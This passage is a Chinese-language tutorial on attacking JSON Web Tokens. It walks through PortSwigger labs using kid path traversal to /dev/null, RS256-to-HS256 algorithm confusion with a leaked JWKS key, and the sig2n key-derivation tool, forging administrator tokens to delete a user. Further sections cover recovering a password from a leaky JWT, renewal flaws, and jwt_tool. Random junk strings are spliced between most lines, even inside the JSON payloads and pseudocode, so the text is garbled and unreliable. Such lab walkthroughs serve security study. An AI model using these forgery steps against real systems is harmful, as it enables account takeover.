
% y6 B" v0 _8 i% M# R+ a9 A

Step 9：切换sub为administrator

6 r2 u/ K. M; o. j# f7 [

/ f0 R, a. W3 ]( W

Step 10：点击下面的sign，选择Don’t modify header模式

4 K* O3 M7 f% X k- j

% G* _9 z+ } I8 b" U4 R" ?, p' o

* }. [3 v$ R8 J" C, D Step 11：更改请求路径发送请求成功越权

: [. a0 o" D G) e" ~: [, ] J* r E

' R2 Q- r% F. [5 Z u

/ v' t" _) d I* p1 Y# q3 O Step 12：请求敏感路径删除carlos用户 ! A8 `3 C4 B5 z( Y8 c

0 }+ a3 m+ k0 i% a' _1 u

/ s+ ^1 q* X+ t/ p* X: Y

Step 13：成功解题

& Q2 M6 I+ z. P2 D3 \! s. K; M1 ^- ]

1 t0 \/ ~: ]+ F( X9 c# m

0 d0 U6 t" L6 Z! ?; y1 ?

# 注入场景3 6 r" |1 M# D6 j) f

服务器可能使用几个密钥来签署不同种类的数据，因此JWT的报头可能包含kid(密钥id)参数，这有助于服务器在验证签名时确定使用哪个密钥，验证密钥通常存储为一个JWK集，在这种情况下服务器可以简单地查找与令牌具有相同kid的JWK，然而JWS规范没有为这个ID定义具体的结构——它只是开发人员选择的任意字符串，例如:它们可能使用kid参数指向数据库中的特定条目，甚至是文件的名称，如果这个参数也容易受到目录遍历的攻击，攻击者可能会迫使服务器使用其文件系统中的任意文件作为验证密钥，例如： " B8 g, G4 F( G. O/ |' ?+ a

6 X& q1 E- n# [9 I

4 f! }: _4 i" d7 o0 i( s

{
- b6 o( \0 `: [    "kid": "../../path/to/file",
    "typ": "JWT",
    "alg": "HS256",
6 f1 n, l7 k, B- U    "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
: I9 p8 g6 G% l: L) E2 S}

6 D) H* p$ S8 e$ m, R2 i0 a, i 如果服务器也支持使用对称算法签名的jwt就会特别危险，在这种情况下攻击者可能会将kid参数指向一个可预测的静态文件，然后使用与该文件内容匹配的秘密对JWT进行签名，从理论上讲您可以对任何文件这样做，但是最简单的方法之一是使用/dev/null，这在大多数Linux系统上都存在，由于这是一个空文件，读取它将返回一个空字符串，因此用空字符串对令牌进行签名将会产生有效的签名
' h# a4 H- p. P) D( W% T2 T% _靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal

$ _4 ]/ i- f& K" k% U

5 j0 ^1 W2 S! X o4 K! o( k/ E+ k; @

Step 1：点击上方"Access The Lab"进入靶场

5 @2 y3 g% a8 H; k3 @) s

Step 2：登录靶场 & ] N+ d1 J* ?' k+ X8 X3 E. m

7 ^3 x. H+ w& {- v" n2 h$ V $ V. C! E/ P5 `! Q$ ?" d

Step 3：登录后进入到如下邮箱更新界面 ' t% y7 b% n7 O' m9 B: ^7 [

/ I- M% @- O7 `$ N

Step 4：使用burpsuite的插件生成一个对称密钥(Symmetric Key)并将k的值修改为"AA=="即为null

: _0 Z/ Q% S+ a( F5 F7 ]

: L$ c+ Z! T2 t {
    "kty": "oct",
    "kid": "38576880-33b7-4446-ade4-f1a78bb6d5c2",
    "k": "AA=="
} ' c& @& P+ E* @/ D& Q% x4 [8 x1 P

/ Z# ?# M& q( U' d) m

& x7 y- `8 F* q. `9 V& G1 [- `% T Step 5：拦截一个请求将其发送到repeat模块

* X' N# Z' {4 J' h8 _' f1 P, T

5 Z5 [6 {1 D$ K- p5 u6 V& f

Step 6：此时直接访问/admin——提示"401 Unauthorized"

7 ?! E& C5 w ~( ~# ]0 q& g

8 d! |; V0 F# s+ Y6 ~ o4 @

Step 7：在JSON Web Token界面中修改kid值和sub进行目录遍历，这里的"/dev/null"文件名与"AA=="一致都为null，对称密钥，所以可以成功绕过

$ T0 h* R/ M2 p9 j' L5 Y3 b

& \6 k8 C- x& x- l9 x* w {
    "kid": "../../../../../../../dev/null",
, K( L# A3 `, j" R" N5 d    "alg": "HS256"
) f* {; d# g: _' c6 m6 q} * Q! B# g6 T" q, D/ X

. y5 U8 X( Q# |

* @/ e1 `0 |4 c6 _

Step 8：点击sign选择OCT8 的密钥攻击

, a( W/ T" t$ p6 v6 w/ ?

6 }9 y% N6 b! F) r & u, F# A# A* p' B

3 e; y: T% _9 L, q8 @

6 q- A0 B3 c+ k4 ?. f- C. _ + u- {$ x5 M6 @* C4 t

: }# [2 J$ m1 V; U/ o/ a

5 _; h. }* C9 G2 n& f5 a8 b8 p Step 9：成功越权 & h% e0 ^& F0 }1 H& o

$ i8 D! Z# {3 J) F; ~

7 u |1 N- \/ O. R7 k* h

* h/ S& C& z* l9 R/ C

Step 10：调用敏感接口删除carlos用户完成解题 : T& C1 D. e" u: O5 G( f

( [7 m r; Y h" c$ b* a

I! o ~6 k0 T8 F 1 h4 A! M- P+ Q7 \* X% v

JWT算法混淆 - ?. ~ c# h$ F8 {/ T% E9 O

算法混淆 # J2 k) y a9 d3 R. A) ?6 [

+ k& o3 U. [% M1 d, i9 o

( h% I" \3 \1 Q) h) |* { 算法混淆攻击(也称为密钥混淆攻击)是指攻击者能够迫使服务器使用不同于网站开发人员预期的算法来验证JSON web令牌(JWT)的签名，这种情况如果处理不当，攻击者可能会伪造包含任意值的有效jwt而无需知道服务器的秘密签名密钥
+ Q: D9 G. g- uJWT可以使用一系列不同的算法进行签名，其中一些，例如:HS256(HMAC+SHA-256)使用"对称"密钥，这意味着服务器使用单个密钥对令牌进行签名和验证，显然这需要像密码一样保密

: k7 ?$ g& l. p

9 ^5 {9 S- u) r j% S % q+ P6 F: `( @* P& f

其他算法，例如:RS256(RSA+SHA-256)使用"非对称"密钥对，它由一个私钥和一个数学上相关的公钥组成，私钥用于服务器对令牌进行签名，公钥可用于验证签名，顾名思义，私钥必须保密，但公钥通常是共享的，这样任何人都可以验证服务器发出的令牌的签名 & h1 Z! g7 d" \6 v0 y

5 n2 V* w/ G. o0 o# p. o$ t* F2 }

混淆攻击

5 \; z/ `, H( \ 算法混乱漏洞通常是由于JWT库的实现存在缺陷而导致的，尽管实际的验证过程因所使用的算法而异，但许多库都提供了一种与算法无关的方法来验证签名，这些方法依赖于令牌头中的alg参数来确定它们应该执行的验证类型，下面的伪代码显示了一个简单的示例，说明了这个泛型verify()方法在JWT库中的声明：

6 }8 J3 h( _$ Y7 a, ]1 D/ S

( Q/ x/ M. d, W9 w3 k7 J function verify(token, secretOrPublicKey){
( k4 ^& g# G) `* @    algorithm = token.getAlgHeader();
2 r: |: m; y2 c- |6 T$ `    if(algorithm == "RS256"){
+ ]8 S, @3 \. k+ R) H        // Use the provided key as an RSA public key
( d$ D2 h# l: P3 _0 u1 k9 D$ n% S* k8 C% O    } else if (algorithm == "HS256"){
6 f; W: l0 \# I5 U        // Use the provided key as an HMAC secret key
    }
} - k2 |$ V% P0 m/ R0 p2 E* d7 r* f$ j5 T

' q" s* n, T- h8 ^

8 T5 V# c4 x& x/ i2 g

) t: B+ K$ d; f3 ]3 `1 h% t1 w) p 使用这种方法的网站开发人员认为它将专门处理使用RS256这样的非对称算法签名的JWT时，问题就出现了，由于这个有缺陷的假设他们可能总是传递一个固定的公钥给方法，如下所示:

2 X; p3 V$ p8 w2 w, t

+ a* Q& l* f4 b } publicKey = <public-key-of-server>;
token = request.getCookie("session");
+ n$ s, v4 i6 ^" n! w* Xverify(token, publicKey); - c |9 E6 \8 M I$ }3 V4 i) P, ?4 J

- F9 b& i! A4 ]2 I2 x

+ E- a7 a$ J% ~ 在这种情况下如果服务器接收到使用对称算法(例如:HS256)签名的令牌，库通用verify()方法会将公钥视为HMAC密钥，这意味着攻击者可以使用HS256和公钥对令牌进行签名，而服务器将使用相同的公钥来验证签名(备注:用于签署令牌的公钥必须与存储在服务器上的公钥完全相同，这包括使用相同的格式(如X.509 PEM)并保留任何非打印字符，例如:换行符,在实践中您可能需要尝试不同的格式才能使这种攻击奏效)
攻击流程简易视图如下： - q9 `2 ^6 t+ b( c

7 d2 s+ z& t* o* z* L% x

+ m7 J1 S0 E! S" p1 G- y4 T$ C

! U! }1 v& f8 ~* V+ [

攻击演示 [% Z+ y) q" k" T% O( Q7 o

( g% K* W+ j- ? [7 k- ~$ ?# w

, v0 w: { i! b2 b/ f8 |+ u 靶场地址：https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion ' E. i/ B7 \' b

6 X, B$ K; @2 w

5 [6 |, E- F% u, d' h " k1 t5 Q" o; b' w

$ A& H5 [9 S6 F- [: _ Step 1：点击"Access the lab"访问靶场

Step 2：使用账户密码登录 ! D: F! c" K0 Y

3 G* L, g# A' |6 d5 F/ N. ~" p

) c* o7 M! x: q) L/ d% K6 t Step 3：登录之后进入到用户邮箱更新操作界面

9 B, n( D5 n9 f$ O

Step 4：服务器有时通过映射到/jwks.json或/.well-known/jwks.json的端点将它们的公钥公开为JSON Web Key(JWK)对象，比如大家熟知的/jwks.json，这些可能被存储在一个称为密钥的jwk数组中，这就是众所周知的JWK集合，即使密钥没有公开，您也可以从一对现有的jwt中提取它

/ @6 ]( l# p5 j# c* W7 D

6 `4 f, [% y( K4 c0 Q" B) P

' ^4 A5 z4 ]& z! C, N3 g& `' U3 I, a {
    "keys": [
        {
, ?) v" {6 h6 p6 D            "kty": "RSA",
            "e": "AQAB",
            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
2 S9 R# t( u9 b2 W: q            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
        },
        {
3 r _) k* h$ C# |( b            "kty": "RSA",
            "e": "AQAB",
            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
" d% E. z$ C& s9 v! q            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
        }
    ]
. q) U3 ~% T; w} ' w$ p# l. _/ P

3 z* V/ j9 s' y$ g

于是乎我们可以直接访问/jwks.json接口获取到服务器的公钥信息，在此处我们将JWK复制下来，作为我们第二部的RSA Key
https://0aad003404004c0b817dcff9 ... ademy.net/jwks.json - `9 M' A! ~3 n: v/ H

h( M- P6 v+ C. n* ]

/ w# B B+ e6 U6 f% `9 F+ C

{
) X0 M0 S/ y, S" m$ W  "keys": [
( R1 Y( g: ^7 ]- Y& p( U    {
( C7 `6 f* w/ M( B) {+ S      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "63624c36-bfd8-4146-888e-6d032ad4fe18",
      "alg": "RS256",
/ Q I! T+ t% y' Q      "n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"
9 }1 b6 ]: T- J% N/ D; c: v    }
+ w1 q9 Q! C) S, @  ]
} + `) r9 w+ h; K( y8 S( c

( `5 |9 o: {/ `# S& @6 Z

' H- Y( s$ ]9 d% U# m1 J   c; L6 d( F1 h/ u/ M) R

6 j8 K. v3 n% O4 `8 q 1 S$ x! \# Z+ Q2 U0 g- j

6 ?+ K8 f# }8 I
Step 5：在Burpsuite的JWT Editor Keys中点击"New RSA Key"，用之前泄露的JWK而生成一个新的RSA Key - b. `' w B3 [7 {! @

% n3 Z, Y" q4 Z. v) S& c

& Y! _/ V$ Y& [7 U+ d' T1 e, t {
; L+ m- |' h/ I L9 R' A, Z/ o      "kty": "RSA",
+ r' S$ ^% o+ z5 r$ a8 L) I& n: c. v      "e": "AQAB",
      "use": "sig",
      "kid": "63624c36-bfd8-4146-888e-6d032ad4fe18",
      "alg": "RS256",
5 Q3 w; |2 s& v* }8 l* ~      "n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"
# S7 _: v9 t2 G0 ~* I* _}

/ Q) v& S2 R1 \$ X0 t/ v1 f

- q7 ?% R; C. c- o+ B9 `

- O4 {) @) t7 H# a% o% k" p

Step 6：选中"Copy Public Key as PEM"，同时将其进行base64编码操作，保存一下得到的字符串(备注:上下的一串-----END PUBLIC KEY-----不要删掉) 4 N$ R+ i8 O* T4 }# e

4 f3 [6 \& R2 }; ^

+ {- ] F0 P7 q -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzsiIsVqAKSpOnOxMKrI0
, u4 |) j {" O7 U/ ZhT3p8m/NK3VoejFnt4Hx2CFzvJsZ4/9mmoIVwi/nXYr7NtNV7stOSS4MGzYdJ57t
4v83B9h7uI1fdKSp+L+cisg31S0Wm5B/LDnvuABFMcShJ+DKTgEYfLHaG31Judly
JdnfgNIIa0XL+wbGh7Xshf8RtzR8FC2DfApX/+KXYNnHxnTKTPXl5unBgCxyny2n
. `) @( M9 D" W/ `2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY+E2
' Q5 p# P% Q9 Y. s7 `FXIoPIt8m/VSXlsKyZpjpfXTJJZo/IqazAl1XBW6bjwWjxwee0Xbyt7M1/1dTKja
5 i' }$ y0 D7 w6 |0 ~AwIDAQAB
-----END PUBLIC KEY-----

6 ?. e; x ~; D! R+ J4 ^ base64后结果： 2 m0 v7 Z8 y, T

, w6 _* B6 P/ W1 Z

$ @2 G8 R5 w3 D9 |4 _. ^

2 v' O9 m9 H* _! `9 e8 y) N8 Q# } LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== D7 j9 d. N4 I. y% R+ k

* S: C' g3 R$ k8 R7 R

: u, g8 K" ]6 y7 u

( f, w; o7 s6 B% q7 j 6 n* Q7 c; @# h

7 {2 S1 I% p0 v' J7 r

; y' e# m" [( Q l% R/ h7 \ Step 7：在JWT Editor Keys处，生成新的对称加密Key，用之前保存的base64编码去替换k的值

; u0 e4 P' l$ r, p! M

5 c$ W/ W5 D3 m {
( X P/ J p4 Y/ t$ z" u% F5 G: Y    "kty": "oct",
    "kid": "63b7b785-4d35-4cb7-bbc6-9d9e17dcf5fe",
- v0 ~. _3 c7 ?/ N/ C( }    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

( F! ]5 u/ {$ ^. r, q7 |# J

7 F' C2 L: _+ ^ 2 l0 n, c( G: A+ k# b7 U

# s! g* @/ m# b% _/ M* {

Step 8：捕获请求数据报并将其发送到repeat模块

8 @1 ~4 N; e9 }% I ' v D u* D6 K+ Y$ @! R, z

8 R' u) t; @' o, B2 |

( {. Z. O; V0 K j/ z7 } 此时直接请求/admin是无法请求到的 ! ^/ v8 d r9 |& C; }* h3 h6 H

. J/ h( p, d( q3 M

$ G' ?1 F! ~3 \- {4 T. \- l

7 _1 r& A* [) X, q, J5 O% U" S/ Q Step 9：随后修改alg为HS256，修改sub为administrator并进行Sign操作 0 o$ q7 s5 z6 ^) l8 y- J

$ \0 O' r, F& e: }) L

x1 ^2 I- t9 G0 m

; `8 T+ {$ N9 E3 d8 E8 `5 }3 O6 ~

Step 10：重新发送数据包可以看到回显成功

2 s |1 N' D2 V3 y6 M

8 x+ q0 v5 m8 K0 g7 w8 t& [- L Step 11：请求敏感连接删除用户完成解题 : g+ C% l+ @( u+ T- z3 k) Z/ {3 a

' {4 g n T: U

}+ g& p; T4 {! i; F3 X! k

0 P5 T7 e# h! B

8 s' g+ _) P$ F+ l: |: `) \

; Q7 e+ t; g" N% T( v5 e- [+ e; U

# R* e$ J% `4 ?3 P, ] 令牌派生公钥

; A, `- X, Z! Y. @% d- E 基本介绍

在公钥不可用的情况下您仍然可以通过使用jwt _ forgery.py之类的工具从一对现有的JWT中获取密钥来测试算法混淆，您可以在rsa_sign2n GitHub存储库中找到几个有用的脚本
https://github.com/silentsignal/rsa_sign2n * [ I& c* O" P& \' j) ?

0 X* U: k! P1 F ]; k

简易示例

靶场地址：
https://portswigger.net/web-secu ... with-no-exposed-key

6 d& P# u( f8 D. {

0 {4 S% ^' x5 |& Z" p

+ B4 Q* o4 F! S8 ?6 d' @ Step 1：安装常规操作登录登出，再登录，获取两个JWT ' N e2 ]8 W/ s

随后将其放到Port提供的docker工具里面运行，运行的命令如下 + j0 O, a$ N0 Q0 v% k( k2 y8 Q

. y. X% I" F8 P# M' E* ~9 C docker run --rm -it portswigger/sig2n <token1> <token2>

6 [0 |$ C5 J, w1 H7 g0 q

* m5 p8 `4 L: H0 T: y- y$ H

3 A M+ S2 X9 I* a# E. O$ s 1 o5 G1 G* N7 g! H7 p

jwt _ forgery.py脚本会输出一系列token的存在情况值 + i) N/ `; |+ K1 ^. {+ h

8 `) j" _. J' i$ }! ^; ~

4 C- _" k- @2 i " U3 n, ^7 f. {' {' F/ Z

3 w5 Y6 r4 R( o" p+ R+ Y w) U

Step 2：这里我们尝试每一个Tempered JWT，Port这里给了提示说是X.509 形式的，所以我们只需要将X.509形式的JWT进行验证即可，当Response回应200时代表token是有效的，若为302则代表了重定向，下图是一个成功的案例

% g1 L ]6 t8 O0 k4 Q- Z$ ~

3 X( w, ~0 E& c) }

( d$ d2 B& T7 |2 x) S" L+ L, G2 n) L

Step 3：将JWT的Base64编码拿过来先放到记事本里面暂存，在Burpsuite的JWT Editor Keys点击New Symmetric Key，将上面的Base64编码拿过来替换此对称密钥的k值，生成对称密钥之后进行和之前攻击一致的Sign操作 ; S @2 W% `! g* x8 Q; B- B

敏感信息泄露 ' J+ D5 D+ ~/ F& d9 r6 J" z8 y7 [# H0 H

b: q# V3 w# H+ d* }" `% ]

基本介绍

JWT敏感信息泄露是指攻击者通过某种方式获取了JWT中包含的敏感信息，例如:用户的身份、权限或其他敏感数据，这种攻击可能会导致恶意用户冒充合法用户执行未经授权的操作或者访问敏感信息，常见的JWT敏感信息泄露方式包括： 7 h* L- a" M) B( \* ^

D" q# R0 }3 L1 [4 G/ p; J
• - s" {# M) T) L0 q7 X% Y 窃取JWT：攻击者通过窃取JWT令牌来获取其中的敏感信息，这可以通过窃取存储在客户端的JWT令牌或者通过攻击服务器端的JWT签名算法来实现 2 j9 ?% n ^- g3 D( r/ x* f' {" G
* n# Q: ?( v( V9 x$ R8 J
• $ ?: h8 }, j4 y6 \: Z5 Q# } 窃取载荷：攻击者可以在传输过程中窃取JWT的载荷部分，这可以通过窃听网络流量或者拦截JWT令牌来实现
• $ m& v* H6 a# [/ S 暴力破解：攻击者可以通过暴力破解JWT签名算法来获取JWT中包含的敏感信息

" N5 c" U2 r' L( c* ^6 b4 p 简易示例 $ _" R3 C; }: D; L; [4 w6 m

% K y5 S$ l r- E2 J; Z, ^ 靶场地址：https://authlab.digi.ninja/Leaky_JWT * V/ V2 E8 z& u! P& T9 }

- ]; `; A& [" s

靶场JWT信息如上所示，而在实战中我们可以去抓包，如果抓到的数据包中有类似这样的JWT认证那我们就可以直接拿去解密了，我们拿到的数据是这样的：

4 f5 u6 c( V, p1 `; D I! r

4 [3 F$ b2 q! f& U+ ^' N eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k

8 [2 `0 v* [ s5 g- r$ ?4 i, @

上面是一个标准的JWT认证的格式，其包含Header、Payload、Signature三个部分，每个部分之间又以"."号分割，他这里的JWT认证是经过base64加密的，所以我们这里先要拿到base64解密网站去解密一下
https://base64.us/ 4 R; b( f2 Y$ Q* {& H8 V; ?5 B( T

; W. Q$ L1 P/ _7 O+ j

) }7 y8 e+ I% {

在这里我们可以看到payload部分的数据解密出来后包含password字段信息，后面解出来的是一串MD5数据，之后我们将其拿到MD5在线解密网站进行解密操作：

' g/ L# X- p2 O7 u3 j8 @5 ?

% [8 P" ~3 B4 o) y/ d' n' N & C# T8 F8 j# Y: C8 q- ^. Q q" Y: Q

2 e' H$ U2 m! g 随后得到密码Password1并使用其作为密码，使用joe作为用户名进行登录操作：

2 W) ]1 N# F* ^

. I. Z# t. d$ X- C/ i3 w( u: ~

+ m. X8 u* g( K# n

随后成功登录： & {) H- _! e6 v0 s+ h! l8 n

; i: I Q: Q5 l- \' d3 N/ u5 P

5 E. ?- ?7 Y0 Y1 C2 \* H X( G

; ^8 _' k' Q- l3 v 密钥硬编码类 " A3 Q$ x& r( O r2 d% p

基本介绍

JWT中的密钥是用于对令牌进行签名或加密的关键信息，在实现JWT时密钥通常存储在应用程序代码中即所谓的"硬编码"，这种做法可能会导致以下安全问题： 5 \1 D, m& F/ y

6 L" K2 {7 S% M. C2 x1 G) j( {& g

• * n) ^" J6 m( R4 _* K 密钥泄露：硬编码的密钥可以被攻击者轻松地发现和窃取，从而导致JWT令牌被篡改或解密，进而导致安全漏洞
8 ?" h, P4 R1 n
• 密钥管理：硬编码的密钥难以进行集中管理，无法灵活地进行密钥轮换、密钥失效等操作，从而增加了密钥管理的难度 , r, n* Y' U+ k7 j' _
; H4 T1 p# e3 s% U
• 2 M& _5 U+ X0 U6 Z 密钥复用：硬编码的密钥可能会被多个应用程序或服务共享使用，这可能会导致一个应用程序出现安全漏洞后，其他应用程序也会受到影响
9 x; R O4 R8 K' V3 p/ u

- x' Y2 x. m A( y+ y( a7 q( P

' R- y& u2 a. J6 f' P6 O8 z 漏洞案例 - \% e6 z- @ L) `

JWT密钥硬编码：

' U/ i* |* q1 l

# D& V, a5 @! ?- z- \

会话续期 * M$ l, P" H& M9 c

2 t! {. ?) o4 O5 M, h5 G 续期机制

0 s# M% a. q L+ h5 S6 H. [" \% T# s

JWT(JSON Web Token)的续期机制是指在JWT过期之后通过一定的方式来更新JWT令牌，使其可以继续使用以减少用户需要频繁重新登录的情况，常见的JWT续期机制包括： 4 P, T9 Y' T0 K* \

5 V5 l8 R1 z# S, I8 Z! t
• 刷新令牌(Refresh Token)：在用户登录时除了获取JWT令牌外还会获取一个刷新令牌，当JWT令牌过期时可以使用刷新令牌来获取新的JWT令牌，刷新令牌的有效期通常比JWT令牌长并且会在每次使用后更新有效期以确保安全性
P% f2 [& J$ h& Q9 f
• 延长有效期：在JWT令牌过期之前服务器可以根据某些条件来判断是否需要延长JWT令牌的有效期，例如:用户在活跃状态、令牌过期时间较短等，如果满足条件服务器将发送一个新的JWT令牌以替换原来的JWT令牌 6 O& E/ N! ~% ]9 Q2 M
, P5 f( `- w; C6 [( |# }
• 自动续期：在使用JWT令牌时服务器可以检查JWT令牌的有效期并在需要时自动为其续期，这通常需要与前端应用程序进行配合以确保用户可以无缝地使用应用程序，而不需要重新登录
- t) ?' n8 t4 v- g/ b/ H

5 m& u7 k0 S6 x0 T: o( x

' ?/ F8 W% y z" ^. u5 C2 t: z5 I 续期问题 6 Z! j/ e$ [ u3 }

& F( h+ C7 B1 E 无限使用 + y4 M" p& o: O6 B# D: D

3 A4 y3 Q" @0 {% H/ S9 D

$ k& {$ H! a* _, i9 o 用户登录成功获取到一个JWT Token，JWT Token由包含算法信息的header和包含用户非敏感信息的body以及对header和body数据签名后的sing值拼接base64后生成，body中包含用户token失效时间戳exp(默认1小时)、用户id标识u 3 B5 X5 H: t9 D( w7 k& l

, {6 g }& v4 g i* S s

JWT Token有效期为1小时 5 o" [4 c& }8 j' f. g

5 M, H2 F5 |. }$ R0 r

; S& b' E" y( f) l

2 ~6 ]6 q$ v) H

但是在过期后发现使用之前过期的JWT Token可以继续进行会话操作 ) f- A# S+ m6 I" [

1 u+ `* X' Y3 S% p

6 s" b% R! f8 r3 K6 Z5 G+ s

u2 V) \& Y P3 _8 O Token刷新缺陷

/ o/ E9 J5 _) t1 u. I$ d3 S JWT Token在续期设计时由于代码编写错误将新老token更新逻辑设计错误，使得新Token和老Token一致，导致JWT 续期失败 + g" n/ @$ `" { }+ @& n1 F. U0 W

" j9 C% ?* t4 ^9 j0 d, h p; Q4 J% V 测试效果如下： , s5 N- L8 L! R7 u+ ~8 I

- t7 {) z+ j; z% R K3 n/ _2 O

# ]& I; o! A1 h( S6 c

N个新Token生成

* ?0 b- T: j2 c/ F P& g/ ?

功能测试时发现JWT Token首次生成时默认失效时120分钟，续期业务逻辑中仅在JWT Token的后1/3时间，也就是80-120分钟时进行续期操作，在此期间用户的Token会进行刷新操作，使用新的Token请求到服务器段，服务器端会返回一个新的JWT Token到前端，供前端使用，但是在续期期间旧的Token可以无限制生成多个有效的JWT Token，存在一定程度上的被利用风险

6 W/ K0 E7 ]7 D; v, n% C

5 w5 k% m: W& ~6 n" A$ n3 M

( C$ S8 W o+ }/ b$ M0 m

工具集合 5 R6 f; x' g6 q

% ~" [4 g. J9 |6 D/ q) g

jwt_tool

项目地址 % Z# f/ a1 t7 ^1 R0 e% Q

! A4 B. l: w$ ], Y

! J5 W; o) J$ a https://github.com/ticarpi/jwt_tool O( ]3 |9 f$ Y% i7 O7 j4 p* ]9 r' z

: Y+ x) s9 n* B! P2 c

! C6 U1 c& G2 a4 ~

+ C' l! ]& }9 ^/ i' |: \$ c; G 主要功能

1、检查令牌的有效性
2 M8 S( H, X# ?: N4 ^) k6 X$ l2 W2 c2、测试已知漏洞：
0 Q! p& k3 `! d* d3 D2 @* vCVE-2015-2951：alg=none签名绕过漏洞
! C* V ^ c6 h; Q" m# h1 w5 b( M3 @CVE-2016-10555：RS / HS256公钥不匹配漏洞
% a8 }& i) v8 C6 KCVE-2018-0114：Key injection漏洞
CVE-2019-20933 / CVE-2020-28637：Blank password漏洞
% z. J0 G* T' ~; v2 O4 a4 bCVE-2020-28042：Null signature漏洞
( M. k7 i( E: [5 i. Z' j$ r3、扫描配置错误或已知漏洞
: x1 E! S3 ?. X5 N( U4、Fuzz声明值以引发意外行为
- v( O" ?0 f0 G7 Y& Z$ Y) f5、测试secret/key file/public key/ JWKS key的有效性
# }- v1 Y+ K8 U3 {6、通过高速字典攻击识别低强度key
7、时间戳篡改
3 C0 Z: [6 D7 F: v5 i. d3 O8 d l8、RSA和ECDSA密钥生成和重建(来自JWKS文件)
9、伪造新的令牌头和有效载荷内容，并使用密钥或通过其他攻击方法创建新的签名 , m! n3 I- n; G7 p$ H

使用说明 $ L6 d0 }& a$ W* O' H% t0 R2 T

u9 R0 `( D2 C; v; x$ v

& H, U: W/ S! x: s: \+ Z+ C https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool

MyJWT " c: S- S9 [ u8 q) t

